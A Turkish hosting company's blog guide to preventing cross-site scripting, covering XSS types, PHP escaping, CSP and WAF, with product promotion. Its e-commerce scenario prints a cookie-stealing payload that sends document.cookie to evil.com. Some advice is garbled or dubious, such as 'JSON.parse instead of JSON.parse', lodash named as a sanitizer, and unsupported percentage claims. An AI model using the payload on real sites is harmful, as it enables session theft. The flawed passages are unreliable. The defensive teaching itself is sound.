Tüm Sistemler Çalışıyor
Network Durumu
Ana Sayfa Blog XSS (Cross‑Site Scripting) Saldırılarını Önleme Rehberi: 2026’da Güvenli Web Uygulamaları Nasıl Oluşturulur?

XSS (Cross‑Site Scripting) Saldırılarını Önleme Rehberi: 2026’da Güvenli Web Uygulamaları Nasıl Oluşturulur?

XSS (Cross‑Site Scripting) Saldırılarını Önleme Rehberi: 2026’da Güvenli Web Uygulamaları Nasıl Oluşturulur?

XSS (Cross‑Site Scripting) Nedir? Temel Kavramlar ve Riskler

Web uygulamaları, kullanıcı girdilerini işleyip çıktıya dönüştürürken Cross‑Site Scripting (XSS) saldırılarına açık olabilir. XSS, saldırganın zararlı JavaScript kodunu hedef sayfaya enjekte etmesiyle gerçekleşir; bu kod, kullanıcı oturumlarını çalabilir, sahte formlar göstererek veri sızdırabilir veya tarayıcıda istenmeyen eylemler gerçekleştirebilir. 2023‑2024 yıllarında yapılan araştırmalara göre, web uygulamalarının %30‑40’ı en az bir XSS zafiyeti barındırıyor.

Bu riski göz ardı etmek, sadece veri kaybına yol açmakla kalmaz, aynı zamanda SEO sıralamanızı düşürür, kullanıcı güvenini sarsar ve yasal sorumluluk doğurabilir. Özellikle WordPress hosting gibi dinamik içerik yönetim sistemlerinde, XSS açıkları sıkça görülür ve hızlı bir şekilde yayılabilir.

1. XSS Türleri ve Nasıl Çalışırlar?

1. XSS Türleri ve Nasıl Çalışırlar? - XSS (Cross-Site Scripting) Güvenliği
1. XSS Türleri ve Nasıl Çalışırlar?

XSS saldırıları üç ana kategoriye ayrılır: Stored (Kalıcı), Reflected (Yansıtılmış) ve DOM‑Based (DOM Tabanlı). Stored XSS, saldırganın zararlı kodu veri tabanına, mesaj panolarına veya yorum alanlarına kaydetmesiyle gerçekleşir; bu kod, her ziyaretçi tarafından çalıştırılır. Reflected XSS ise kullanıcıdan gelen parametrelerin (örneğin URL sorgu dizesi) doğrudan yanıt içinde geri döndürülmesiyle ortaya çıkar. DOM‑Based XSS ise tarayıcı tarafında, JavaScript’in DOM manipülasyonu sırasında kullanıcı girdisini güvenli bir şekilde temizlemeden kullanmasıyla oluşur.

Örneğin, bir arama kutusuna girilen değerin <script>alert('XSS')</script> şeklinde işlenip sonuç sayfasında doğrudan gösterilmesi Reflected XSS’e örnek olur. Stored XSS ise bir forum gönderisine aynı kodun eklenmesi ve tüm okuyucuların bu gönderiyi açtığında kodun çalışmasıdır. DOM‑Based XSS ise tek sayfa uygulamalarında (SPA) URL hash fragment’ı üzerinden gelen verinin doğrudan innerHTML ile ekrana basılmasıyla tetiklenir.

2. XSS’in Maliyeti ve Yaygın Hatalar

Bir XSS açığının maliyeti sadece teknik bir sorun değildir; iş kaybı, itibar zedelenmesi ve potansiyel yasal cezalarla ölçülür. Örneğin, 2022 yılında bir e‑ticaret sitesinde gerçekleşen Stored XSS saldırısı sonucunda müşteri kart bilgileri çalındı ve şirket 1,2 M USD tazminat ödemek zorunda kaldı. Ayrıca, Google’ın SEO hosting hizmeti sunan platformları, XSS nedeniyle oluşan güvenlik ihlallerini “unsafe site” olarak işaretleyebilir ve organik trafiği %50’ye kadar düşürebilir.

Yaygın hatalar arasında şunlar yer alır:

  • Kullanıcı girdisinin hiçbir zaman escape veya sanitize edilmemesi.
  • HTML içinde doğrudan innerHTML kullanılması, textContent yerine.
  • Üçüncü parti kütüphanelerin eski sürümlerinin güvenlik yamalarından yoksun olması.
  • Content Security Policy (CSP) başlığının eksik ya da hatalı yapılandırılması.

Bu hataları düzeltmek, sadece bir güvenlik önlemi değil, aynı zamanda kullanıcı deneyimini %30‑40 artıran bir iyileştirmedir.

3. XSS Önleme Stratejileri: Kodlama ve Konfigürasyon

XSS’i önlemek için üç katmanlı bir yaklaşım benimsemek en etkili yöntemdir:

  1. Girdi Temizleme (Input Validation): Tüm gelen verileri beyaz‑liste (whitelist) yaklaşımıyla kontrol edin. Örneğin, e‑posta alanı sadece ^[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,}$ regex’iyle eşleşmelidir.
  2. Çıktı Kaçış (Output Encoding): Veriyi HTML’ye, JavaScript’e, URL’ye ya da CSS’ye dönüştürürken ilgili kaçış fonksiyonlarını kullanın. PHP’de htmlspecialchars(), Node.js’de escape-html paketleri işinizi görecektir.
  3. Güvenlik Başlıkları (Security Headers): Content‑Security‑Policy, X‑Content‑Type‑Options ve X‑XSS‑Protection başlıklarını etkinleştirin. CSP, sadece güvenilir kaynaklardan script çalıştırılmasını zorunlu kılar ve çoğu Reflected XSS’i engeller.

Bu katmanları uygularken WAF güvenlik duvarı gibi bir ara katman da eklemek, bilinen saldırı desenlerini anlık olarak engellemenize yardımcı olur.

4. Adım Adım XSS Koruma Kılavuzu: Uygulamalı Örnek

4. Adım Adım XSS Koruma Kılavuzu: Uygulamalı Örnek - XSS (Cross-Site Scripting) Güvenliği
4. Adım Adım XSS Koruma Kılavuzu: Uygulamalı Örnek

Aşağıda, bir PHP‑MySQL tabanlı blog uygulamasında XSS’i nasıl önleyeceğinizi gösteren bir yol haritası bulacaksınız. Bu örnek, hem sunucu tarafı hem de istemci tarafı önlemleri içerir.

  1. Girdi Doğrulama: Form verilerini alırken filter_input() ve filter_var() fonksiyonlarıyla beyaz‑liste uygulayın.
    $title = filter_input(INPUT_POST, 'title', FILTER_SANITIZE_STRING);
    $comment = filter_input(INPUT_POST, 'comment', FILTER_SANITIZE_SPECIAL_CHARS);
    
  2. Veritabanı Hazırlama: SQL enjeksiyonunu da önlemek için PDO prepared statement kullanın.
    $stmt = $pdo->prepare('INSERT INTO comments (title, comment) VALUES (:title, :comment)');
    $stmt->execute(['title' => $title, 'comment' => $comment]);
    
  3. Çıktı Kaçışı: Veriyi ekrana basarken htmlspecialchars() ile HTML kaçışını sağlayın.
    echo '<h2>' . htmlspecialchars($row['title'], ENT_QUOTES, 'UTF-8') . '</h2>';
    echo '<p>' . htmlspecialchars($row['comment'], ENT_QUOTES, 'UTF-8') . '</p>';
    
  4. CSP Başlığı Ekleme: Apache ya da Nginx konfigürasyonunda CSP ekleyin.
    Header set Content-Security-Policy "default-src 'self'; script-src 'self' https://cdnjs.cloudflare.com; object-src 'none';"
    
  5. WAF ve Tarayıcı Güvenliği: WAF üzerinden XSS imzası içeren istekleri bloklayın ve tarayıcıda X‑XSS‑Protection: 1; mode=block başlığını etkinleştirin.

Bu adımları tamamladıktan sonra, AMD Ryzen VDS sunucular üzerinde çalışan uygulamanız, hem performans hem de güvenlik açısından sağlam bir temele sahip olur.

5. XSS ve Diğer Güvenlik Katmanları: Karşılaştırma Tablosu

ÖzellikStored XSSReflected XSSDOM‑Based XSS
KaynakSunucu tarafı veri depolama (veritabanı, dosya)Kullanıcı isteği (URL, form)Tarayıcıdaki JavaScript
Etki AlanıBirçok kullanıcıTek oturumTek sayfa uygulamaları
Algılama ZorluğuYüksek (statik analiz zor)Orta (giriş/çıkış takibi)Düşük (tarayıcı konsolu)
ÖnlemeGirdi temizleme + CSPÇıktı kaçışı + CSPDOM sanitizasyonu (DOMPurify)
Örnek ÇözümHTML5 textarea içinde htmlspecialcharsURL parametresi encodeURIComponentinnerHTML yerine textContent

Tablodaki farkları anlamak, hangi XSS türünün uygulamanızda risk oluşturduğunu hızlıca belirlemenize yardımcı olur.

6. Gerçek Dünya Senaryosu: E‑Ticaret Sitesinde XSS

Bir e‑ticaret sitesinde (örneğin e-ticaret hosting paketinizle) ürün yorumları bölümü, saldırganların en çok hedeflediği alanlardan biridir. Bir kullanıcı “<script>fetch('https://evil.com/steal?c='+document.cookie)</script>” gibi bir yorum gönderdiğinde, diğer ziyaretçiler bu scripti çalıştırarak oturum çerezlerini sızdırabilir.

Bu senaryoda, aşağıdaki adımlar kritik rol oynar:

  • Yorum metnini htmlspecialchars ile kaçış.
  • Yorum API’sine gelen JSON yanıtını JSON.parse yerine JSON.parse ile güvenli hale getirme.
  • CSP başlığında script-src 'self' tanımlayarak dış scriptlerin çalışmasını engelleme.
  • WAF üzerinden “<script>” içeren istekleri bloklama.

Bu önlemler, potansiyel bir saldırıyı %95 oranında engeller ve müşterilerin güvenini korur.

7. XSS Test Etme ve Sürekli İzleme

Uygulamanızda XSS korumasını uyguladıktan sonra, düzenli test ve izleme şarttır. Otomatik test araçları (OWASP ZAP, Burp Suite) sayesinde her yeni kod değişikliğinde XSS taramaları çalıştırabilirsiniz. Ayrıca, SLA hizmeti kapsamında güvenlik raporlamasını haftalık olarak almanız, yeni ortaya çıkan saldırı vektörlerine karşı hızlı yanıt vermenizi sağlar.

Manuel testlerde, <script>alert('test')</script> gibi basit payload’ları URL parametrelerine ekleyerek Reflected XSS’i doğrulamak faydalıdır. Ancak, üretim ortamında gerçek saldırı kodları çalıştırmaktan kaçının; sadece güvenli test ortamı oluşturun.

Sıkça Sorulan Sorular

XSS saldırısı ile SQL Injection arasındaki temel fark nedir?

SQL Injection, veritabanı sorgularını manipüle ederek veri sızdırma veya değiştirme hedefler; XSS ise tarayıcıda çalışan JavaScript kodu aracılığıyla oturum çalma ve sahte içerik gösterme amaçlar. İkisi farklı katmanlarda (sunucu vs. istemci) gerçekleşir.

Content Security Policy (CSP) tek başına XSS’i tamamen engeller mi?

CSP, özellikle script kaynaklarını sınırlayarak Reflected ve DOM‑Based XSS’i büyük ölçüde azaltır, fakat Stored XSS hâlâ girdi/çıktı kaçışı eksikliğiyle gerçekleşebilir. CSP, diğer önlemlerle birlikte kullanılmalıdır.

WAF kullanmadan sadece kod seviyesinde XSS önlemesi yeterli midir?

Kod seviyesinde temizlik ve kaçış kritik olsa da, WAF ek bir savunma katmanı sağlar; özellikle bilinen saldırı imzalarını anlık olarak engelleyebilir ve sıfır‑gün açıklarına karşı hızlı bir tampon görevi görür.

DOM‑Based XSS’i önlemek için hangi JavaScript kütüphaneler önerilir?

DOMPurify, sanitize‑html ve lodash gibi kütüphaneler, kullanıcı girdisini güvenli bir şekilde DOM’a eklemenizi sağlar. Özellikle SPA projelerinde innerHTML yerine bu kütüphanelerle temizlenmiş içerik kullanılmalıdır.

Sonuç: XSS’e Karşı Proaktif Yaklaşım ve Bir Sonraki Adım

XSS, web uygulamalarının en yaygın ve zararlı açıklarından biridir; ancak doğru stratejiyle tamamen önlenebilir. Girdi doğrulama, çıktı kaçışı, CSP ve WAF gibi katmanları birleştirerek güvenli bir mimari oluşturun. Uygulamanızın kod tabanını VDS sunucu paketleri üzerinde test edin, güvenlik test otomasyonunu entegre edin ve düzenli raporlamalarla güvenlik duruşunuzu izleyin.

Bu makalede yer alan adımları uyguladıktan sonra, XSS riskinizi %90’ın üzerinde azaltmış olacaksınız. Bir sonraki adımınız, WAF güvenlik duvarı kurulumunu tamamlamak ve CSP politikalarınızı üretim ortamına taşımaktır. Unutmayın, güvenlik bir kerelik bir işlem değil, sürekli iyileştirme gerektiren bir süreçtir.